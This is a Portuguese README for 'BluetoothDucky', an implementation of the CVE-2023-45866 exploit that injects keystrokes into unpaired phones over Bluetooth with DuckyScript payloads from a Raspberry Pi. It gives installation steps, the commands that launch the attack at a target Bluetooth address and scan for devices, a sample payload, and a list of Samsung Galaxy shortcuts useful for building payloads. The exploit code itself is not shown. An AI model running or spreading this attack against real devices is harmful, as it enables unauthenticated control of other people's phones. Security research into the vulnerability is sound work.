
Exploit implementation for CVE-2023-45866 enabling unauthenticated Bluetooth keyboard injection using DuckyScript payloads on Raspberry Pi.
CVE-2023-45866 - Implementação do BluetoothDucky (Usando DuckyScript)
Esta é uma implementação do CVE descoberto por marcnewlin [https://github.com/marcnewlin/hi_my_name_is_keyboard]
Criei um ducky_convert.py para tentar não modificar o arquivo hid.py o máximo possível para uso futuro.
Ainda estou trabalhando em algumas ideias de payload para ele.
Estou executando em um Raspberry Pi 4 usando o módulo bluetooth padrão dele. Testei contra todos os celulares que meus amigos têm, e funciona. O único problema que encontrei foi com uma marca de celular da Nova Zelândia chamada Vodafone, que bloqueia por padrão, mesmo que o celular não seja ligado há anos (pede pareamento), o que é hilário, pois é o mais seguro.
Ainda preciso ajustar TODOS os termos/palavras relacionados ao ducky, mas estou limitado em dispositivos para testes.
REM isto é apenas um comentário
string test123
ENTER
Isso deve digitar test123 em um campo de texto e depois pressionar ENTER.
Estou apenas disponibilizando este código para quem quiser ajudar.
Instruções de instalação (Roubadas do marcnewlin)
# atualizar o apt
sudo apt-get update
sudo apt-get -y upgrade
# instalar dependências do apt
sudo apt install -y bluez-tools bluez-hcidump libbluetooth-dev \
git gcc python3-pip python3-setuptools \
python3-pydbus
# instalar pybluez a partir do código-fonte
git clone https://github.com/pybluez/pybluez.git
cd pybluez
sudo python3 setup.py install
# compilar bdaddr a partir do código-fonte do bluez
cd ~/
git clone --depth=1 https://github.com/bluez/bluez.git
gcc -o bdaddr ~/bluez/tools/bdaddr.c ~/bluez/src/oui.c -I ~/bluez -lbluetooth
sudo cp bdaddr /usr/local/bin/
Depois, simplesmente
git clone https://github.com/pentestfunctions/BluetoothDucky
cd BluetoothDucky
sudo python3 BluetoothDucky.py -i hci0 -t 00:00:00:00:00:00
sudo python3 BluetoothDucky.py --scan
Ele procurará um arquivo payload.txt no mesmo diretório, que pode ser apenas um ducky script - tente algo simples fornecido neste repositório para começar.
Implementar uma função de etapa para verificar a última letra da linha do payload enviada, para que possamos reenviar/continuar a partir daí em caso de falha, em vez de toda a linha
Galaxy A14/SM-A14F
GUI + D (área de trabalho)
GUI + E (E-mail)
GUI + F (PESQUISAR)
GUI + H (áudio Samsung?)
GUI + K (calendário)
GUI + M (Mapa)
GUI + N (Notificações)
GUI + T (Música?)
GUI + Q (Notificações completas)
GUI + R (Arquivos recentes)
GUI + S (mensagens?)
GUI + U (Acessibilidade)
GUI + V (volume)
GUI + Z (Configurações)
ALT + A (gaveta de aplicativos)
Alt + Space (Pesquisar)